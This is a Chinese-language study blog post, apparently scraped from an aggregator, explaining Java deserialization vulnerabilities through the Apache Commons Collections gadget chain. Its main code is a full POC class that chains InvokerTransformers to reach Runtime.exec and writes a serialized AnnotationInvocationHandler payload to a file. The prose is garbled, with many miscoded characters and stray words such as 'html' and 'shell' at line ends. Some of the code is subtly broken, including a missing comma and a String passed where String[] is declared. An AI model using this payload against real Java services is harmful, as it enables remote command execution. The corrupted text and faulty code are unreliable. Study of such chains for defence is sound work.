java反序列化漏洞原理研習

零、Java反序列化漏洞html

  java的安全問題數一數二的就是反序列化漏洞,能夠執行命令啊,甚至直接getshell,因此趁着這個假期好好研究一下java的反序列化漏洞。另外呢,組裏多位大佬對反序列化漏洞都有頗深的研究,藉此機會,努力學習,做爲狼羣中的哈士奇但願成功的繼續假裝下去,不被識破,哈哈哈哈!!!java

參考文檔:感謝全部參考文獻的做者:python

一、https://www.cnblogs.com/bencakes/p/6139477.html程序員

二、https://www.cnblogs.com/ssooking/p/5875215.htmlshell

三、https://www.cnblogs.com/xdp-gacl/p/3777987.htmlapache

1、Java的序列化與反序列化:api

在這裏咱們直接本身定義一個類,而後對這個類的對象(一個實例)進行序列化和發序列化測試。數組

 1 //引入必要的java包文件
 2 import java.io.*;
 3 
 4 //建立測試類,注意要繼承Serializable接口
 5 class serialdemo implements Serializable{
 6     public static int number;
 7     public serialdemo(int inputnum) {
 8         this.number = inputnum;
 9     }
10 } 
11 
12 //主類
13 public class test{
14     //測試主類
15     public static void main(String[] args) throws IOException, ClassNotFoundException {
16         //主函數入口
17         serialdemo object = new serialdemo(100);
18         FileOutputStream fileoutputstream = new FileOutputStream("serail.ser");//建立文件寫入對象
19         ObjectOutputStream outputstream = new ObjectOutputStream(fileoutputstream);//建立類型序列化通道對象
20         outputstream.writeObject(object);//把類對象(實例)序列化進入文件
21         outputstream.close();
22         FileInputStream fileinputstream = new FileInputStream("serail.ser");//從文件讀取對象
23         ObjectInputStream inputstream = new ObjectInputStream(fileinputstream);//對象反序列化
24         // 經過反序列化恢復對象obj
25         serialdemo object2 = (serialdemo)inputstream.readObject();
26         System.out.println("反序列化後的對象的值:");
27         System.out.println(object2.number);
28         inputstream.close();
29     }
30 }

既然本身定義的類均可以了,那麼默認的java存在的數據類型的實例固然也均可以啦~運行結果以下:安全

1 └─[$]> java test
2 反序列化後的對象的值:
3 100

 2、對java序列化的詳解:數據結構

一、api定位:

1 /*
2 java.io.ObjectOutputStream  ->   writeObject()
3 java.io.ObjectInputStream    ->    readObject()
4 序列化把對象序列化成字節流
5 反序列化讀取字節流反序列化對象
6 */

二、實現Serializable和Externalizable接口的類才能序列化與反序列化。

三、java的反射機制:

/*
在java運行狀態中
1.對於任何一個類,都能判斷對象所屬的類;
2.對於任何一個類,都能獲取其全部的屬性和方法;
3.對於任何一個對象,都能調用任意一個方法和屬性;
*/

3、反序列化的漏洞原理概述:

一、因爲不少站點或者RMI倉庫等接口處存在java的反序列化功能,攻擊者能夠經過構造特定的惡意對象序列化後的流,讓目標反序列化,從而達到本身的惡意預期行爲,包括命令執行,甚至getshell等等。

二、Apache Commons Collections

這是開源小組Apache研發的一個Collections收集器框架,提供諸如list、set、queue等功能對象。這個框架中有一個接口,其中有一個實現該接口的類能夠經過調用java的反射機制來調用任意函數,這個接口類是InvokerTransformer。這個架構的普遍使用,也致使了java反序列化漏洞的大面積流行。

 

三、java執行系統命令:

 1 //命令執行函數
 2 public void test() throws IOException, InterruptedException {
 3         Process process = Runtime.getRuntime().exec("whoami");
 4         InputStream inputstream = process.getInputStream();
 5         BufferedReader reader = new BufferedReader(new InputStreamReader(inputstream));
 6         process.waitFor();
 7         if (process.exitValue() != 0) {
 8             //說明命令執行失敗
 9             //能夠進入到錯誤處理步驟中
10         }
11         //打印輸出信息
12         String s = null;
13         while ((s = reader.readLine()) != null) {
14             System.out.println(s);
15         }
16     }

簡介:

Runtime.getRuntime().exec("command_string");

回顯呢:

Process process = Runtime.getRuntime().exec("command_string");

InputStream inputstream = process.getInputStream();

BufferReader reader = new BufferReader(new InputStreamReader(inputstream));

System.out.prinln(reader.readLine());

把上面結合起來就是序列化的打法。

4、關於反射鏈

之前一直不理解反射鏈是什麼定西,如今咱們來看看接口源代碼:

咱們來理一理這一段:

開始:

能夠看出來這個方法,屬於一個對象,輸出另一個對象,完成了類型的轉換。同時這個接口還能夠串聯完成一系列的轉換,構成反射鏈。

Apache Commons Collections中已經實現了一些常見的Transformer,其中有一個能夠經過Java的反射機制來調用任意函數,叫作InvokerTransformer,代碼以下:

 1 public class InvokerTransformer implements Transformer, Serializable {
 2 
 3 ...
 4 
 5     /*
 6         Input參數爲要進行反射的對象,
 7         iMethodName,iParamTypes爲調用的方法名稱以及該方法的參數類型
 8         iArgs爲對應方法的參數
 9         在invokeTransformer這個類的構造函數中咱們能夠發現,這三個參數均爲可控參數
10     */
11     public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
12         super();
13         iMethodName = methodName;
14         iParamTypes = paramTypes;
15         iArgs = args;
16     }
17 
18     public Object transform(Object input) {
19         if (input == null) {
20             return null;
21         }
22         try {
23             Class cls = input.getClass();
24             Method method = cls.getMethod(iMethodName, iParamTypes);
25             return method.invoke(input, iArgs);
26 
27         } catch (NoSuchMethodException ex) {
28             throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
29         } catch (IllegalAccessException ex) {
30             throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
31         } catch (InvocationTargetException ex) {
32             throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
33         }
34     }
35 
36 }

只須要傳入方法名、參數類型和參數,便可調用任意函數。

在這裏,咱們能夠看到,先用ConstantTransformer()獲取了Runtime類,接着反射調用getRuntime函數,再調用getRuntime的exec()函數,執行命令。依次調用關係爲: Runtime --> getRuntime --> exec()。所以,咱們要提早構造 ChainedTransformer鏈,它會按照咱們設定的順序依次調用Runtime, getRuntime,exec函數,進而執行命令。正式開始時,咱們先構造一個TransformeMap實例,而後想辦法修改它其中的數據,使其自動調用tansform()方法進行特定的變換(即咱們以前設定好的)

 5、poc原理分析:

參考大牛博客,給出一個原理解釋知識點

1 ConstantTransformer
2 把一個對象轉化爲常量,並返回。
3 
4 InvokerTransformer
5 經過反射,返回一個對象
6 
7 ChainedTransformer
8 ChainedTransformer爲鏈式的Transformer,會挨個執行咱們定義Transformer

不得不說上面大牛博客分析的大段的代碼原理我基本都不懂,由於不是java程序員的我對此真是摸不着頭腦,可是咱們能夠作以下總結:

1 /*
2 一、java反序列化能夠遠程執行命令。
3 二、java執行命令用到Runtime.getRuntime().exec("whoami");
4 三、java在apache commons collections中存在InvokerTransoformer接口能夠串聯對對象進行轉化,造成反射鏈。
5 四、ConstantTransformer能夠把對象轉換爲常量返回。
6 五、ChainedTransformer爲鏈式的Transformer,會挨個執行咱們定義Transformer
7 六、AnnotationInvocationHandler類能夠致使命令執行在readobject時候自動執行
8 */

POC的思路:

1 /*
2 1)首先構造一個Map和一個可以執行代碼的ChainedTransformer,
3 2)生成一個TransformedMap實例
4 3)實例化AnnotationInvocationHandler,並對其進行序列化,
5 4)當觸發readObject()反序列化的時候,就能實現命令執行。
6 POC執行流程爲 TransformedMap->AnnotationInvocationHandler.readObject()->setValue()- 漏洞成功觸發
7 */

分析大牛poc核心代碼邏輯:

  1 /*
  2 核心邏輯表達式:
  3 ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
  4 主函數中:
  5 一、定義一個要執行的命令字符串:String commandstring = "whoami";
  6 二、定義一個執行邏輯:
  7 Transformer[] transformers = new Transformer[] {
  8   new ConstantTransformer(Runtime.class),
  9   new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),
 10   new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null})
 11   new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring})
 12 }
 13 三、執行邏輯轉化操做(ChainedTransformer類對象,傳入transformers數組,能夠按照transformers數組的邏輯執行轉化操做):
 14 Transformer transformedChain = new ChainedTransformer(transformers);
 15 四、後面是關於不關心的東西,寫死便可:
 16 Map<String,String> BeforeTransformerMap = new HashMap<String,String>();
 17 BeforeTransformerMap.put("hello", "hello");
 18 Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);
 19 Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
 20 Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
 21 ctor.setAccessible(true);
 22 Object instance = ctor.newInstance(Target.class, AfterTransformerMap);
 23 File f = new File("temp.bin");
 24 ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
 25 out.writeObject(instance);
 26 */
 27 
 28 //引入必要的java包文件
 29 import java.io.File;
 30 import java.io.FileInputStream;
 31 import java.io.FileNotFoundException;
 32 import java.io.FileOutputStream;
 33 import java.io.IOException;
 34 import java.io.ObjectInputStream;
 35 import java.io.ObjectOutputStream;
 36 import java.lang.annotation.Retention;
 37 import java.lang.reflect.Constructor;
 38 import java.util.HashMap;
 39 import java.util.Map;
 40 import java.util.Map.Entry;
 41 
 42 //引入第三方包文件,也就是關於apache的那幾個包
 43 import org.apache.commons.collections.Transformer;
 44 import org.apache.commons.collections.functors.ChainedTransformer;
 45 import org.apache.commons.collections.functors.ConstantTransformer;
 46 import org.apache.commons.collections.functors.InvokerTransformer;
 47 import org.apache.commons.collections.map.TransformedMap;
 48 
 49 //主類
 50 public class POC_Test{
 51     public static void main(String[] args) throws Exception {
 52         //定義待執行的命令:
 53         String commandstring = "whoami";
 54         //定義一個反射鏈,肯定預約的轉化邏輯
 55         /*
 56           定義一個反射鏈的方法:
 57           Transformer[] varitename = new Transformer[] {
 58             new ConstantTransformer(Runtime.class),
 59             new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),
 60             new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null})
 61             new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring})
 62           }
 63         */
 64         Transformer[] transformers = new Transformer[] {
 65             new ConstantTransformer(Runtime.class),
 66             /*
 67             因爲Method類的invoke(Object obj,Object args[])方法的定義
 68             因此在反射內寫new Class[] {Object.class, Object[].class }
 69             正常POC流程舉例:
 70             ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
 71             */
 72             new InvokerTransformer(
 73                 "getMethod",
 74                 new Class[] {String.class, Class[].class },
 75                 new Object[] {"getRuntime", new Class[0] }
 76             ),
 77             new InvokerTransformer(
 78                 "invoke",
 79                 new Class[] {Object.class,Object[].class },
 80                 new Object[] {null, null }
 81             ),
 82             new InvokerTransformer(
 83                 "exec",
 84                 new Class[] {String[].class },
 85                 new Object[] { commandstring }
 86                 //new Object[] { execArgs }
 87             )
 88         };
 89 
 90         //transformedChain: ChainedTransformer類對象,傳入transformers數組,能夠按照transformers數組的邏輯執行轉化操做
 91         Transformer transformedChain = new ChainedTransformer(transformers);
 92 
 93         //BeforeTransformerMap: Map數據結構,轉換前的Map,Map數據結構內的對象是鍵值對形式,類比於python的dict
 94         //Map&lt;String, String&gt; BeforeTransformerMap = new HashMap&lt;String, String&gt;();
 95         Map<String,String> BeforeTransformerMap = new HashMap<String,String>();
 96         BeforeTransformerMap.put("hello", "hello");
 97 
 98         //Map數據結構,轉換後的Map
 99        /*
100        TransformedMap.decorate方法,預期是對Map類的數據結構進行轉化,該方法有三個參數。
101             第一個參數爲待轉化的Map對象
102             第二個參數爲Map對象內的key要通過的轉化方法(可爲單個方法,也可爲鏈,也可爲空)
103             第三個參數爲Map對象內的value要通過的轉化方法。
104        */
105         //TransformedMap.decorate(目標Map, key的轉化對象(單個或者鏈或者null), value的轉化對象(單個或者鏈或者null));
106         Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);
107         Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
108         Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
109         ctor.setAccessible(true);
110         Object instance = ctor.newInstance(Target.class, AfterTransformerMap);
111         File f = new File("temp.bin");
112         ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
113         out.writeObject(instance);
114     }
115 }
116 
117 /*
118 思路:構建BeforeTransformerMap的鍵值對,爲其賦值,
119      利用TransformedMap的decorate方法,對Map數據結構的key/value進行transforme
120      對BeforeTransformerMap的value進行轉換,當BeforeTransformerMap的value執行完一個完整轉換鏈,就完成了命令執行
121 
122      執行本質: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........)
123      利用反射調用Runtime() 執行了一段系統命令, Runtime.getRuntime().exec()
124 
125 */
相關文章
相關標籤/搜索